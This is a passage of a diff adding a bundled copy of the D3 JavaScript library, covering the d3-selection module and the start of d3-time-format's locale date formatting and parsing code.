cubehelix$1; + exports.interpolateRainbow = rainbow$1; + exports.interpolateWarm = warm; + exports.interpolateCool = cool; + exports.interpolateViridis = viridis; + exports.interpolateMagma = magma; + exports.interpolateInferno = inferno; + exports.interpolatePlasma = plasma; + exports.scaleSequential = sequential; + + Object.defineProperty(exports, '__esModule', { value: true }); + +})); +},{"d3-array":1,"d3-collection":2,"d3-color":3,"d3-format":5,"d3-interpolate":6,"d3-time":10,"d3-time-format":9}],8:[function(require,module,exports){ +// https://d3js.org/d3-selection/ Version 1.0.2. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : + typeof define === 'function' && define.amd ? define(['exports'], factory) : + (factory((global.d3 = global.d3 || {}))); +}(this, function (exports) { 'use strict'; + + var xhtml = "http://www.w3.org/1999/xhtml"; + + var namespaces = { + svg: "http://www.w3.org/2000/svg", + xhtml: xhtml, + xlink: "http://www.w3.org/1999/xlink", + xml: "http://www.w3.org/XML/1998/namespace", + xmlns: "http://www.w3.org/2000/xmlns/" + }; + + function namespace(name) { + var prefix = name += "", i = prefix.indexOf(":"); + if (i >= 0 && (prefix = name.slice(0, i)) !== "xmlns") name = name.slice(i + 1); + return namespaces.hasOwnProperty(prefix) ? {space: namespaces[prefix], local: name} : name; + } + + function creatorInherit(name) { + return function() { + var document = this.ownerDocument, + uri = this.namespaceURI; + return uri === xhtml && document.documentElement.namespaceURI === xhtml + ? document.createElement(name) + : document.createElementNS(uri, name); + }; + } + + function creatorFixed(fullname) { + return function() { + return this.ownerDocument.createElementNS(fullname.space, fullname.local); + }; + } + + function creator(name) { + var fullname = namespace(name); + return (fullname.local + ? creatorFixed + : creatorInherit)(fullname); + } + + var nextId = 0; + + function local() { + return new Local; + } + + function Local() { + this._ = "@" + (++nextId).toString(36); + } + + Local.prototype = local.prototype = { + constructor: Local, + get: function(node) { + var id = this._; + while (!(id in node)) if (!(node = node.parentNode)) return; + return node[id]; + }, + set: function(node, value) { + return node[this._] = value; + }, + remove: function(node) { + return this._ in node && delete node[this._]; + }, + toString: function() { + return this._; + } + }; + + var matcher = function(selector) { + return function() { + return this.matches(selector); + }; + }; + + if (typeof document !== "undefined") { + var element = document.documentElement; + if (!element.matches) { + var vendorMatches = element.webkitMatchesSelector + || element.msMatchesSelector + || element.mozMatchesSelector + || element.oMatchesSelector; + matcher = function(selector) { + return function() { + return vendorMatches.call(this, selector); + }; + }; + } + } + + var matcher$1 = matcher; + + var filterEvents = {}; + + exports.event = null; + + if (typeof document !== "undefined") { + var element$1 = document.documentElement; + if (!("onmouseenter" in element$1)) { + filterEvents = {mouseenter: "mouseover", mouseleave: "mouseout"}; + } + } + + function filterContextListener(listener, index, group) { + listener = contextListener(listener, index, group); + return function(event) { + var related = event.relatedTarget; + if (!related || (related !== this && !(related.compareDocumentPosition(this) & 8))) { + listener.call(this, event); + } + }; + } + + function contextListener(listener, index, group) { + return function(event1) { + var event0 = exports.event; // Events can be reentrant (e.g., focus). + exports.event = event1; + try { + listener.call(this, this.__data__, index, group); + } finally { + exports.event = event0; + } + }; + } + + function parseTypenames(typenames) { + return typenames.trim().split(/^|\s+/).map(function(t) { + var name = "", i = t.indexOf("."); + if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i); + return {type: t, name: name}; + }); + } + + function onRemove(typename) { + return function() { + var on = this.__on; + if (!on) return; + for (var j = 0, i = -1, m = on.length, o; j < m; ++j) { + if (o = on[j], (!typename.type || o.type === typename.type) && o.name === typename.name) { + this.removeEventListener(o.type, o.listener, o.capture); + } else { + on[++i] = o; + } + } + if (++i) on.length = i; + else delete this.__on; + }; + } + + function onAdd(typename, value, capture) { + var wrap = filterEvents.hasOwnProperty(typename.type) ? filterContextListener : contextListener; + return function(d, i, group) { + var on = this.__on, o, listener = wrap(value, i, group); + if (on) for (var j = 0, m = on.length; j < m; ++j) { + if ((o = on[j]).type === typename.type && o.name === typename.name) { + this.removeEventListener(o.type, o.listener, o.capture); + this.addEventListener(o.type, o.listener = listener, o.capture = capture); + o.value = value; + return; + } + } + this.addEventListener(typename.type, listener, capture); + o = {type: typename.type, name: typename.name, value: value, listener: listener, capture: capture}; + if (!on) this.__on = [o]; + else on.push(o); + }; + } + + function selection_on(typename, value, capture) { + var typenames = parseTypenames(typename + ""), i, n = typenames.length, t; + + if (arguments.length < 2) { + var on = this.node().__on; + if (on) for (var j = 0, m = on.length, o; j < m; ++j) { + for (i = 0, o = on[j]; i < n; ++i) { + if ((t = typenames[i]).type === o.type && t.name === o.name) { + return o.value; + } + } + } + return; + } + + on = value ? onAdd : onRemove; + if (capture == null) capture = false; + for (i = 0; i < n; ++i) this.each(on(typenames[i], value, capture)); + return this; + } + + function customEvent(event1, listener, that, args) { + var event0 = exports.event; + event1.sourceEvent = exports.event; + exports.event = event1; + try { + return listener.apply(that, args); + } finally { + exports.event = event0; + } + } + + function sourceEvent() { + var current = exports.event, source; + while (source = current.sourceEvent) current = source; + return current; + } + + function point(node, event) { + var svg = node.ownerSVGElement || node; + + if (svg.createSVGPoint) { + var point = svg.createSVGPoint(); + point.x = event.clientX, point.y = event.clientY; + point = point.matrixTransform(node.getScreenCTM().inverse()); + return [point.x, point.y]; + } + + var rect = node.getBoundingClientRect(); + return [event.clientX - rect.left - node.clientLeft, event.clientY - rect.top - node.clientTop]; + } + + function mouse(node) { + var event = sourceEvent(); + if (event.changedTouches) event = event.changedTouches[0]; + return point(node, event); + } + + function none() {} + + function selector(selector) { + return selector == null ? none : function() { + return this.querySelector(selector); + }; + } + + function selection_select(select) { + if (typeof select !== "function") select = selector(select); + + for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, subgroup = subgroups[j] = new Array(n), node, subnode, i = 0; i < n; ++i) { + if ((node = group[i]) && (subnode = select.call(node, node.__data__, i, group))) { + if ("__data__" in node) subnode.__data__ = node.__data__; + subgroup[i] = subnode; + } + } + } + + return new Selection(subgroups, this._parents); + } + + function empty() { + return []; + } + + function selectorAll(selector) { + return selector == null ? empty : function() { + return this.querySelectorAll(selector); + }; + } + + function selection_selectAll(select) { + if (typeof select !== "function") select = selectorAll(select); + + for (var groups = this._groups, m = groups.length, subgroups = [], parents = [], j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, node, i = 0; i < n; ++i) { + if (node = group[i]) { + subgroups.push(select.call(node, node.__data__, i, group)); + parents.push(node); + } + } + } + + return new Selection(subgroups, parents); + } + + function selection_filter(match) { + if (typeof match !== "function") match = matcher$1(match); + + for (var groups = this._groups, m = groups.length, subgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, subgroup = subgroups[j] = [], node, i = 0; i < n; ++i) { + if ((node = group[i]) && match.call(node, node.__data__, i, group)) { + subgroup.push(node); + } + } + } + + return new Selection(subgroups, this._parents); + } + + function sparse(update) { + return new Array(update.length); + } + + function selection_enter() { + return new Selection(this._enter || this._groups.map(sparse), this._parents); + } + + function EnterNode(parent, datum) { + this.ownerDocument = parent.ownerDocument; + this.namespaceURI = parent.namespaceURI; + this._next = null; + this._parent = parent; + this.__data__ = datum; + } + + EnterNode.prototype = { + constructor: EnterNode, + appendChild: function(child) { return this._parent.insertBefore(child, this._next); }, + insertBefore: function(child, next) { return this._parent.insertBefore(child, next); }, + querySelector: function(selector) { return this._parent.querySelector(selector); }, + querySelectorAll: function(selector) { return this._parent.querySelectorAll(selector); } + }; + + function constant(x) { + return function() { + return x; + }; + } + + var keyPrefix = "$"; // Protect against keys like “__proto__”. + + function bindIndex(parent, group, enter, update, exit, data) { + var i = 0, + node, + groupLength = group.length, + dataLength = data.length; + + // Put any non-null nodes that fit into update. + // Put any null nodes into enter. + // Put any remaining data into enter. + for (; i < dataLength; ++i) { + if (node = group[i]) { + node.__data__ = data[i]; + update[i] = node; + } else { + enter[i] = new EnterNode(parent, data[i]); + } + } + + // Put any non-null nodes that don’t fit into exit. + for (; i < groupLength; ++i) { + if (node = group[i]) { + exit[i] = node; + } + } + } + + function bindKey(parent, group, enter, update, exit, data, key) { + var i, + node, + nodeByKeyValue = {}, + groupLength = group.length, + dataLength = data.length, + keyValues = new Array(groupLength), + keyValue; + + // Compute the key for each node. + // If multiple nodes have the same key, the duplicates are added to exit. + for (i = 0; i < groupLength; ++i) { + if (node = group[i]) { + keyValues[i] = keyValue = keyPrefix + key.call(node, node.__data__, i, group); + if (keyValue in nodeByKeyValue) { + exit[i] = node; + } else { + nodeByKeyValue[keyValue] = node; + } + } + } + + // Compute the key for each datum. + // If there a node associated with this key, join and add it to update. + // If there is not (or the key is a duplicate), add it to enter. + for (i = 0; i < dataLength; ++i) { + keyValue = keyPrefix + key.call(parent, data[i], i, data); + if (node = nodeByKeyValue[keyValue]) { + update[i] = node; + node.__data__ = data[i]; + nodeByKeyValue[keyValue] = null; + } else { + enter[i] = new EnterNode(parent, data[i]); + } + } + + // Add any remaining nodes that were not bound to data to exit. + for (i = 0; i < groupLength; ++i) { + if ((node = group[i]) && (nodeByKeyValue[keyValues[i]] === node)) { + exit[i] = node; + } + } + } + + function selection_data(value, key) { + if (!value) { + data = new Array(this.size()), j = -1; + this.each(function(d) { data[++j] = d; }); + return data; + } + + var bind = key ? bindKey : bindIndex, + parents = this._parents, + groups = this._groups; + + if (typeof value !== "function") value = constant(value); + + for (var m = groups.length, update = new Array(m), enter = new Array(m), exit = new Array(m), j = 0; j < m; ++j) { + var parent = parents[j], + group = groups[j], + groupLength = group.length, + data = value.call(parent, parent && parent.__data__, j, parents), + dataLength = data.length, + enterGroup = enter[j] = new Array(dataLength), + updateGroup = update[j] = new Array(dataLength), + exitGroup = exit[j] = new Array(groupLength); + + bind(parent, group, enterGroup, updateGroup, exitGroup, data, key); + + // Now connect the enter nodes to their following update node, such that + // appendChild can insert the materialized enter node before this node, + // rather than at the end of the parent node. + for (var i0 = 0, i1 = 0, previous, next; i0 < dataLength; ++i0) { + if (previous = enterGroup[i0]) { + if (i0 >= i1) i1 = i0 + 1; + while (!(next = updateGroup[i1]) && ++i1 < dataLength); + previous._next = next || null; + } + } + } + + update = new Selection(update, parents); + update._enter = enter; + update._exit = exit; + return update; + } + + function selection_exit() { + return new Selection(this._exit || this._groups.map(sparse), this._parents); + } + + function selection_merge(selection) { + + for (var groups0 = this._groups, groups1 = selection._groups, m0 = groups0.length, m1 = groups1.length, m = Math.min(m0, m1), merges = new Array(m0), j = 0; j < m; ++j) { + for (var group0 = groups0[j], group1 = groups1[j], n = group0.length, merge = merges[j] = new Array(n), node, i = 0; i < n; ++i) { + if (node = group0[i] || group1[i]) { + merge[i] = node; + } + } + } + + for (; j < m0; ++j) { + merges[j] = groups0[j]; + } + + return new Selection(merges, this._parents); + } + + function selection_order() { + + for (var groups = this._groups, j = -1, m = groups.length; ++j < m;) { + for (var group = groups[j], i = group.length - 1, next = group[i], node; --i >= 0;) { + if (node = group[i]) { + if (next && next !== node.nextSibling) next.parentNode.insertBefore(node, next); + next = node; + } + } + } + + return this; + } + + function selection_sort(compare) { + if (!compare) compare = ascending; + + function compareNode(a, b) { + return a && b ? compare(a.__data__, b.__data__) : !a - !b; + } + + for (var groups = this._groups, m = groups.length, sortgroups = new Array(m), j = 0; j < m; ++j) { + for (var group = groups[j], n = group.length, sortgroup = sortgroups[j] = new Array(n), node, i = 0; i < n; ++i) { + if (node = group[i]) { + sortgroup[i] = node; + } + } + sortgroup.sort(compareNode); + } + + return new Selection(sortgroups, this._parents).order(); + } + + function ascending(a, b) { + return a < b ? -1 : a > b ? 1 : a >= b ? 0 : NaN; + } + + function selection_call() { + var callback = arguments[0]; + arguments[0] = this; + callback.apply(null, arguments); + return this; + } + + function selection_nodes() { + var nodes = new Array(this.size()), i = -1; + this.each(function() { nodes[++i] = this; }); + return nodes; + } + + function selection_node() { + + for (var groups = this._groups, j = 0, m = groups.length; j < m; ++j) { + for (var group = groups[j], i = 0, n = group.length; i < n; ++i) { + var node = group[i]; + if (node) return node; + } + } + + return null; + } + + function selection_size() { + var size = 0; + this.each(function() { ++size; }); + return size; + } + + function selection_empty() { + return !this.node(); + } + + function selection_each(callback) { + + for (var groups = this._groups, j = 0, m = groups.length; j < m; ++j) { + for (var group = groups[j], i = 0, n = group.length, node; i < n; ++i) { + if (node = group[i]) callback.call(node, node.__data__, i, group); + } + } + + return this; + } + + function attrRemove(name) { + return function() { + this.removeAttribute(name); + }; + } + + function attrRemoveNS(fullname) { + return function() { + this.removeAttributeNS(fullname.space, fullname.local); + }; + } + + function attrConstant(name, value) { + return function() { + this.setAttribute(name, value); + }; + } + + function attrConstantNS(fullname, value) { + return function() { + this.setAttributeNS(fullname.space, fullname.local, value); + }; + } + + function attrFunction(name, value) { + return function() { + var v = value.apply(this, arguments); + if (v == null) this.removeAttribute(name); + else this.setAttribute(name, v); + }; + } + + function attrFunctionNS(fullname, value) { + return function() { + var v = value.apply(this, arguments); + if (v == null) this.removeAttributeNS(fullname.space, fullname.local); + else this.setAttributeNS(fullname.space, fullname.local, v); + }; + } + + function selection_attr(name, value) { + var fullname = namespace(name); + + if (arguments.length < 2) { + var node = this.node(); + return fullname.local + ? node.getAttributeNS(fullname.space, fullname.local) + : node.getAttribute(fullname); + } + + return this.each((value == null + ? (fullname.local ? attrRemoveNS : attrRemove) : (typeof value === "function" + ? (fullname.local ? attrFunctionNS : attrFunction) + : (fullname.local ? attrConstantNS : attrConstant)))(fullname, value)); + } + + function defaultView(node) { + return (node.ownerDocument && node.ownerDocument.defaultView) // node is a Node + || (node.document && node) // node is a Window + || node.defaultView; // node is a Document + } + + function styleRemove(name) { + return function() { + this.style.removeProperty(name); + }; + } + + function styleConstant(name, value, priority) { + return function() { + this.style.setProperty(name, value, priority); + }; + } + + function styleFunction(name, value, priority) { + return function() { + var v = value.apply(this, arguments); + if (v == null) this.style.removeProperty(name); + else this.style.setProperty(name, v, priority); + }; + } + + function selection_style(name, value, priority) { + var node; + return arguments.length > 1 + ? this.each((value == null + ? styleRemove : typeof value === "function" + ? styleFunction + : styleConstant)(name, value, priority == null ? "" : priority)) + : defaultView(node = this.node()) + .getComputedStyle(node, null) + .getPropertyValue(name); + } + + function propertyRemove(name) { + return function() { + delete this[name]; + }; + } + + function propertyConstant(name, value) { + return function() { + this[name] = value; + }; + } + + function propertyFunction(name, value) { + return function() { + var v = value.apply(this, arguments); + if (v == null) delete this[name]; + else this[name] = v; + }; + } + + function selection_property(name, value) { + return arguments.length > 1 + ? this.each((value == null + ? propertyRemove : typeof value === "function" + ? propertyFunction + : propertyConstant)(name, value)) + : this.node()[name]; + } + + function classArray(string) { + return string.trim().split(/^|\s+/); + } + + function classList(node) { + return node.classList || new ClassList(node); + } + + function ClassList(node) { + this._node = node; + this._names = classArray(node.getAttribute("class") || ""); + } + + ClassList.prototype = { + add: function(name) { + var i = this._names.indexOf(name); + if (i < 0) { + this._names.push(name); + this._node.setAttribute("class", this._names.join(" ")); + } + }, + remove: function(name) { + var i = this._names.indexOf(name); + if (i >= 0) { + this._names.splice(i, 1); + this._node.setAttribute("class", this._names.join(" ")); + } + }, + contains: function(name) { + return this._names.indexOf(name) >= 0; + } + }; + + function classedAdd(node, names) { + var list = classList(node), i = -1, n = names.length; + while (++i < n) list.add(names[i]); + } + + function classedRemove(node, names) { + var list = classList(node), i = -1, n = names.length; + while (++i < n) list.remove(names[i]); + } + + function classedTrue(names) { + return function() { + classedAdd(this, names); + }; + } + + function classedFalse(names) { + return function() { + classedRemove(this, names); + }; + } + + function classedFunction(names, value) { + return function() { + (value.apply(this, arguments) ? classedAdd : classedRemove)(this, names); + }; + } + + function selection_classed(name, value) { + var names = classArray(name + ""); + + if (arguments.length < 2) { + var list = classList(this.node()), i = -1, n = names.length; + while (++i < n) if (!list.contains(names[i])) return false; + return true; + } + + return this.each((typeof value === "function" + ? classedFunction : value + ? classedTrue + : classedFalse)(names, value)); + } + + function textRemove() { + this.textContent = ""; + } + + function textConstant(value) { + return function() { + this.textContent = value; + }; + } + + function textFunction(value) { + return function() { + var v = value.apply(this, arguments); + this.textContent = v == null ? "" : v; + }; + } + + function selection_text(value) { + return arguments.length + ? this.each(value == null + ? textRemove : (typeof value === "function" + ? textFunction + : textConstant)(value)) + : this.node().textContent; + } + + function htmlRemove() { + this.innerHTML = ""; + } + + function htmlConstant(value) { + return function() { + this.innerHTML = value; + }; + } + + function htmlFunction(value) { + return function() { + var v = value.apply(this, arguments); + this.innerHTML = v == null ? "" : v; + }; + } + + function selection_html(value) { + return arguments.length + ? this.each(value == null + ? htmlRemove : (typeof value === "function" + ? htmlFunction + : htmlConstant)(value)) + : this.node().innerHTML; + } + + function raise() { + if (this.nextSibling) this.parentNode.appendChild(this); + } + + function selection_raise() { + return this.each(raise); + } + + function lower() { + if (this.previousSibling) this.parentNode.insertBefore(this, this.parentNode.firstChild); + } + + function selection_lower() { + return this.each(lower); + } + + function selection_append(name) { + var create = typeof name === "function" ? name : creator(name); + return this.select(function() { + return this.appendChild(create.apply(this, arguments)); + }); + } + + function constantNull() { + return null; + } + + function selection_insert(name, before) { + var create = typeof name === "function" ? name : creator(name), + select = before == null ? constantNull : typeof before === "function" ? before : selector(before); + return this.select(function() { + return this.insertBefore(create.apply(this, arguments), select.apply(this, arguments) || null); + }); + } + + function remove() { + var parent = this.parentNode; + if (parent) parent.removeChild(this); + } + + function selection_remove() { + return this.each(remove); + } + + function selection_datum(value) { + return arguments.length + ? this.property("__data__", value) + : this.node().__data__; + } + + function dispatchEvent(node, type, params) { + var window = defaultView(node), + event = window.CustomEvent; + + if (event) { + event = new event(type, params); + } else { + event = window.document.createEvent("Event"); + if (params) event.initEvent(type, params.bubbles, params.cancelable), event.detail = params.detail; + else event.initEvent(type, false, false); + } + + node.dispatchEvent(event); + } + + function dispatchConstant(type, params) { + return function() { + return dispatchEvent(this, type, params); + }; + } + + function dispatchFunction(type, params) { + return function() { + return dispatchEvent(this, type, params.apply(this, arguments)); + }; + } + + function selection_dispatch(type, params) { + return this.each((typeof params === "function" + ? dispatchFunction + : dispatchConstant)(type, params)); + } + + var root = [null]; + + function Selection(groups, parents) { + this._groups = groups; + this._parents = parents; + } + + function selection() { + return new Selection([[document.documentElement]], root); + } + + Selection.prototype = selection.prototype = { + constructor: Selection, + select: selection_select, + selectAll: selection_selectAll, + filter: selection_filter, + data: selection_data, + enter: selection_enter, + exit: selection_exit, + merge: selection_merge, + order: selection_order, + sort: selection_sort, + call: selection_call, + nodes: selection_nodes, + node: selection_node, + size: selection_size, + empty: selection_empty, + each: selection_each, + attr: selection_attr, + style: selection_style, + property: selection_property, + classed: selection_classed, + text: selection_text, + html: selection_html, + raise: selection_raise, + lower: selection_lower, + append: selection_append, + insert: selection_insert, + remove: selection_remove, + datum: selection_datum, + on: selection_on, + dispatch: selection_dispatch + }; + + function select(selector) { + return typeof selector === "string" + ? new Selection([[document.querySelector(selector)]], [document.documentElement]) + : new Selection([[selector]], root); + } + + function selectAll(selector) { + return typeof selector === "string" + ? new Selection([document.querySelectorAll(selector)], [document.documentElement]) + : new Selection([selector == null ? [] : selector], root); + } + + function touch(node, touches, identifier) { + if (arguments.length < 3) identifier = touches, touches = sourceEvent().changedTouches; + + for (var i = 0, n = touches ? touches.length : 0, touch; i < n; ++i) { + if ((touch = touches[i]).identifier === identifier) { + return point(node, touch); + } + } + + return null; + } + + function touches(node, touches) { + if (touches == null) touches = sourceEvent().touches; + + for (var i = 0, n = touches ? touches.length : 0, points = new Array(n); i < n; ++i) { + points[i] = point(node, touches[i]); + } + + return points; + } + + exports.creator = creator; + exports.local = local; + exports.matcher = matcher$1; + exports.mouse = mouse; + exports.namespace = namespace; + exports.namespaces = namespaces; + exports.select = select; + exports.selectAll = selectAll; + exports.selection = selection; + exports.selector = selector; + exports.selectorAll = selectorAll; + exports.touch = touch; + exports.touches = touches; + exports.window = defaultView; + exports.customEvent = customEvent; + + Object.defineProperty(exports, '__esModule', { value: true }); + +})); +},{}],9:[function(require,module,exports){ +// https://d3js.org/d3-time-format/ Version 2.0.3. Copyright 2016 Mike Bostock. +(function (global, factory) { + typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports, require('d3-time')) : + typeof define === 'function' && define.amd ? define(['exports', 'd3-time'], factory) : + (factory((global.d3 = global.d3 || {}),global.d3)); +}(this, (function (exports,d3Time) { 'use strict'; + +function localDate(d) { + if (0 <= d.y && d.y < 100) { + var date = new Date(-1, d.m, d.d, d.H, d.M, d.S, d.L); + date.setFullYear(d.y); + return date; + } + return new Date(d.y, d.m, d.d, d.H, d.M, d.S, d.L); +} + +function utcDate(d) { + if (0 <= d.y && d.y < 100) { + var date = new Date(Date.UTC(-1, d.m, d.d, d.H, d.M, d.S, d.L)); + date.setUTCFullYear(d.y); + return date; + } + return new Date(Date.UTC(d.y, d.m, d.d, d.H, d.M, d.S, d.L)); +} + +function newYear(y) { + return {y: y, m: 0, d: 1, H: 0, M: 0, S: 0, L: 0}; +} + +function formatLocale(locale) { + var locale_dateTime = locale.dateTime, + locale_date = locale.date, + locale_time = locale.time, + locale_periods = locale.periods, + locale_weekdays = locale.days, + locale_shortWeekdays = locale.shortDays, + locale_months = locale.months, + locale_shortMonths = locale.shortMonths; + + var periodRe = formatRe(locale_periods), + periodLookup = formatLookup(locale_periods), + weekdayRe = formatRe(locale_weekdays), + weekdayLookup = formatLookup(locale_weekdays), + shortWeekdayRe = formatRe(locale_shortWeekdays), + shortWeekdayLookup = formatLookup(locale_shortWeekdays), + monthRe = formatRe(locale_months), + monthLookup = formatLookup(locale_months), + shortMonthRe = formatRe(locale_shortMonths), + shortMonthLookup = formatLookup(locale_shortMonths); + + var formats = { + "a": formatShortWeekday, + "A": formatWeekday, + "b": formatShortMonth, + "B": formatMonth, + "c": null, + "d": formatDayOfMonth, + "e": formatDayOfMonth, + "H": formatHour24, + "I": formatHour12, + "j": formatDayOfYear, + "L": formatMilliseconds, + "m": formatMonthNumber, + "M": formatMinutes, + "p": formatPeriod, + "S": formatSeconds, + "U": formatWeekNumberSunday, + "w": formatWeekdayNumber, + "W": formatWeekNumberMonday, + "x": null, + "X": null, + "y": formatYear, + "Y": formatFullYear, + "Z": formatZone, + "%": formatLiteralPercent + }; + + var utcFormats = { + "a": formatUTCShortWeekday, + "A": formatUTCWeekday, + "b": formatUTCShortMonth, + "B": formatUTCMonth, + "c": null, + "d": formatUTCDayOfMonth, + "e": formatUTCDayOfMonth, + "H": formatUTCHour24, + "I": formatUTCHour12, + "j": formatUTCDayOfYear, + "L": formatUTCMilliseconds, + "m": formatUTCMonthNumber, + "M": formatUTCMinutes, + "p": formatUTCPeriod, + "S": formatUTCSeconds, + "U": formatUTCWeekNumberSunday, + "w": formatUTCWeekdayNumber, + "W": formatUTCWeekNumberMonday, + "x": null, + "X": null, + "y": formatUTCYear, + "Y": formatUTCFullYear, + "Z": formatUTCZone, + "%": formatLiteralPercent + }; + + var parses = { + "a": parseShortWeekday, + "A": parseWeekday, + "b": parseShortMonth, + "B": parseMonth, + "c": parseLocaleDateTime, + "d": parseDayOfMonth, + "e": parseDayOfMonth, + "H": parseHour24, + "I": parseHour24, + "j": parseDayOfYear, + "L": parseMilliseconds, + "m": parseMonthNumber, + "M": parseMinutes, + "p": parsePeriod, + "S": parseSeconds, + "U": parseWeekNumberSunday, + "w": parseWeekdayNumber, + "W": parseWeekNumberMonday, + "x": parseLocaleDate, + "X": parseLocaleTime, + "y": parseYear, + "Y": parseFullYear, + "Z": parseZone, + "%": parseLiteralPercent + }; + + // These recursive directive definitions must be deferred. + formats.x = newFormat(locale_date, formats); + formats.X = newFormat(locale_time, formats); + formats.c = newFormat(locale_dateTime, formats); + utcFormats.x = newFormat(locale_date, utcFormats); + utcFormats.X = newFormat(locale_time, utcFormats); + utcFormats.c = newFormat(locale_dateTime, utcFormats); + + function newFormat(specifier, formats) { + return function(date) { + var string = [], + i = -1, + j = 0, + n = specifier.length, + c, + pad, + format; + + if (!(date instanceof Date)) date = new Date(+date); + + while (++i < n) { + if (specifier.charCodeAt(i) === 37) { + string.push(specifier.slice(j, i)); + if ((pad = pads[c = specifier.charAt(++i)]) != null) c = specifier.charAt(++i); + else pad = c === "e" ? " " : "0"; + if (format = formats[c]) c = format(date, pad); + string.push(c); + j = i + 1; + } + } + + string.push(specifier.slice(j, i)); + return string.join(""); + }; + } + + function newParse(specifier, newDate) { + return function(string) { + var d = newYear(1900), + i = parseSpecifier(d, specifier, string += "", 0); + if (i != string.length) return null; + + // The am-pm flag is 0 for AM, and 1 for PM. + if ("p" in d) d.H = d.H % 12 + d.p * 12; + + // Convert day-of-week and week-of-year to day-of-year. + if ("W" in d || "U" in d) { + if (!("w" in d)) d.w = "W" in d ? 1 : 0; + var day = "Z" in d ? utcDate(newYear(d.y)).getUTCDay() : newDate(newYear(d.y)).getDay(); + d.m = 0; + d.d = "W" in d ? (d.w + 6) % 7 + d.W * 7 - (day + 5) % 7 : d.w + d.U * 7 - (day + 6) % 7; + } + + // If a time zone is specified, all fields are interpreted as UTC and then + // offset according to the specified time zone. + if ("Z" in d) { + d.H += d.Z / 100 | 0; + d.M += d.Z % 100; + return utcDate(d); + } + + // Otherwise, all fields are in local time. + return newDate(d); + }; + } + + function parseSpecifier(d, specifier, string, j) { + var i = 0, + n = specifier.length, + m = string.length, + c, + parse; + + while (i < n) { + if (j >= m) return -1; + c = specifier.charCodeAt(i++); + if (c === 37) { + c = specifier.charAt(i++); + parse = parses[c in pads ? specifier.charAt(i++) : c]; + if (!parse || ((j = parse(d, string, j)) < 0)) return -1; + } else if (c != string.charCodeAt(j++)) { + return -1; + } + } + + return j; + } + + function parsePeriod(d, string, i) { + var n = periodRe.exec(string.slice(i)); + return n ? (d.p = periodLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseShortWeekday(d, string, i) { + var n = shortWeekdayRe.exec(string.slice(i)); + return n ? (d.w = shortWeekdayLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseWeekday(d, string, i) { + var n = weekdayRe.exec(string.slice(i)); + return n ? (d.w = weekdayLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseShortMonth(d, string, i) { + var n = shortMonthRe.exec(string.slice(i)); + return n ? (d.m = shortMonthLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseMonth(d, string, i) { + var n = monthRe.exec(string.slice(i)); + return n ? (d.m = monthLookup[n[0].toLowerCase()], i + n[0].length) : -1; + } + + function parseLocaleDateTime(d, string, i) { + return parseSpecifier(d, locale_dateTime, string, i); + } + + function parseLocaleDate(d, string, i) { + return parseSpecifier(d, locale_date, string, i); + } + + function parseLocaleTime(d, string, i) { + return parseSpecifier(d, locale_time, string, i); + } + + function formatShortWeekday(d) { + return locale_shortWeekdays[d.getDay()]; + } + + function formatWeekday(d) { + return locale_weekdays[d.getDay()]; + } + + function formatShortMonth(d) { + return locale_shortMonths[d.getMonth()]; + } + + function formatMonth(d) { + return locale_months[d.getMonth()]; + } + + function formatPeriod(d) { + return locale_periods[+(d.getHours() >= 12)]; + } + + function formatUTCShortWeekday(d) { + return locale_shortWeekdays[d.getUTCDay()]; + } + + function formatUTCWeekday(d) { + return locale_weekdays[d.getUTCDay()]; + } + + function formatUTCShortMonth(d) { + return locale_shortMonths[d.getUTCMonth()]; + } + + function formatUTCMonth(d) { + return locale_months[d.getUTCMonth()]; + } + + function formatUTCPeriod(d) { + return locale_periods[+(d.getUTCHours() >= 12)]; + } + + return { + format: function(specifier) { + var f = newFormat(specifier += "", formats); + f.toString = function() { return specifier; }; + return f; + }, + parse: function(specifier) { + var p = newParse(specifier += "", localDate); + p.toString = function() { return specifier; }; + return p; + }, + utcFormat: function(specifier) { + var f = newFormat(specifier += "", utcFormats); + f.toString = function() { return specifier; }; + return f; + }, + utcParse: function(specifier) { + var p = newParse(specifier, utcDate); + p.toString = function() { return specifier; }; + return p; + } + }; +} + +var pads = {"-": "", "_": " ", "0": "0"}; +var numberRe = /^\s*\d+/; +var percentRe = /^%/; +var requoteRe = /[\\\^\$\*\+\?\|\[\]\(\)\.\{\}]/g; + +function pad(value, fill, width) { + var sign = value < 0 ? "-" : "", + string = (sign ? -value : value) + "", + length = string.length; + return sign + (length < width ? new Array(width - length + 1).join(fill) + string : string); +} + +function requote(s) { + return s.replace(requoteRe, "\\$&"); +} + +function formatRe(names) { + return new RegExp("^(?:" + names.map(requote).join("|") + ")", "i"); +} + +function formatLookup(names) { + var map = {}, i = -1, n = names.length; + while (++i < n) map[names[i].toLowerCase()] = i; + return map; +} + +function parseWeekdayNumber(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 1)); + return n ? (d.w = +n[0], i + n[0].length) : -1; +} + +function parseWeekNumberSunday(d, string, i) { + var n = numberRe.exec(string.slice(i)); + return n ? (d.U = +n[0], i + n[0].length) : -1; +} + +function parseWeekNumberMonday(d, string, i) { + var n = numberRe.exec(string.slice(i)); + return n ? (d.W = +n[0], i + n[0].length) : -1; +} + +function parseFullYear(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 4)); + return n ? (d.y = +n[0], i + n[0].length) : -1; +} + +function parseYear(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.y = +n[0] + (+n[0] > 68 ? 1900 : 2000), i + n[0].length) : -1; +} + +function parseZone(d, string, i) { + var n = /^(Z)|([+-]\d\d)(?:\:?(\d\d))?/.exec(string.slice(i, i + 6)); + return n ? (d.Z = n[1] ? 0 : -(n[2] + (n[3] || "00")), i + n[0].length) : -1; +} + +function parseMonthNumber(d, string, i) { + var n = numberRe.exec(string.slice(i, i + 2)); + return n ? (d.m = n[0] - 1, i + n[0].length) : -1; +} + +function 